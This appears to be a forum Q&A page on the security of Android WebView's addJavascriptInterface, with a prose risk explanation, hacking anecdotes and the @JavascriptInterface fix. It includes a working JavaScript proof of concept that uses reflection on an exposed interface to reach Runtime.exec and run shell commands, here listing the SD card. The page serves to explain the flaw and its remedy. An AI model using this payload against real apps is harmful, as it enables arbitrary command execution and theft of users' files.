Android JavascriptInterface Security?

So code that gets run in a WebView is sandboxed by default - that is, it can't execute the dangerous native stuff like writing to the filesystem or accessing the address book etc...

Most javaScript falls into that category and in the case of showing a custom dialog, there's no danger.

addJavaScriptInterface allows you to expose native phone stuff to javascript and the danger is that if you don't write your javaScriptInterface correctly you could end up exposing a person's phone to real danger from a hacker.

I think it's easiest to understand using an example.

Say you write a javaScript interface where you can call a function from javaScript that writes a file to a path on the android filesystem. eg:

writeToFile(data, safepath);

The javascript all comes from your server but somehow a hacker compromises your server and changes the HTML/JavaScript that's being loaded into your WebView to run:

writeToFile(dangerousdata, pathtosomeotherfile);

Now I haven't examined the layout of an android package well enough to know which file I'd want to overwrite/change if I were a hacker, but we used to have little hacking battles with friends on our own linux machines when I was younger and you'd use a call like this to overwrite something like the SSH binary - then you'd be able to log all passwords that would come in. If you could do things like overwrite or extend the original apk with your own you could turn the person's phone into a server you could log into remotely (I'm not sure if that's possible due to how applications are sandboxed). Even if all you could do is overwrite a critical data file you might be able to cause a user to give you (the hacker in this case) access to security credentials, passwords, all sorts of things.

There was a time many years ago where we found a hole in the sendmail process on a linux machine that allowed us to start up a shell. We were logged into our server as the mail user. You couldn't do much as the mail user, but once you were on the machine it gave you the chance to look around for other weaknesses.

So you can do what you want to do safely, just be sure that you make that JavaScript interface really simple and dumb - it only writes to one file in one location and the data that you write is maybe text or something that doesn't get interpreted later. For dialogs I do this all the time - don't need any special native calls either. It's a great way to make a page you can update after the user has your app installed.

Hope this is helpful!


an example access sdcard files from javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>

The fix:

For applications running Android 4.2 all public methods that are annotated with JavascriptInterface can be accessed from JavaScript.

So if you develop an application for SDK version 17 or higher, you must add the @JavascriptInterface annotation to any method that you want available to your JavaScript.

If you do not provide the annotation, the method is not accessible by your web page when running on Android 4.2 or higher.

To know more click here

Tags:

Javascript

Interface

Android

Webview

Android Webview

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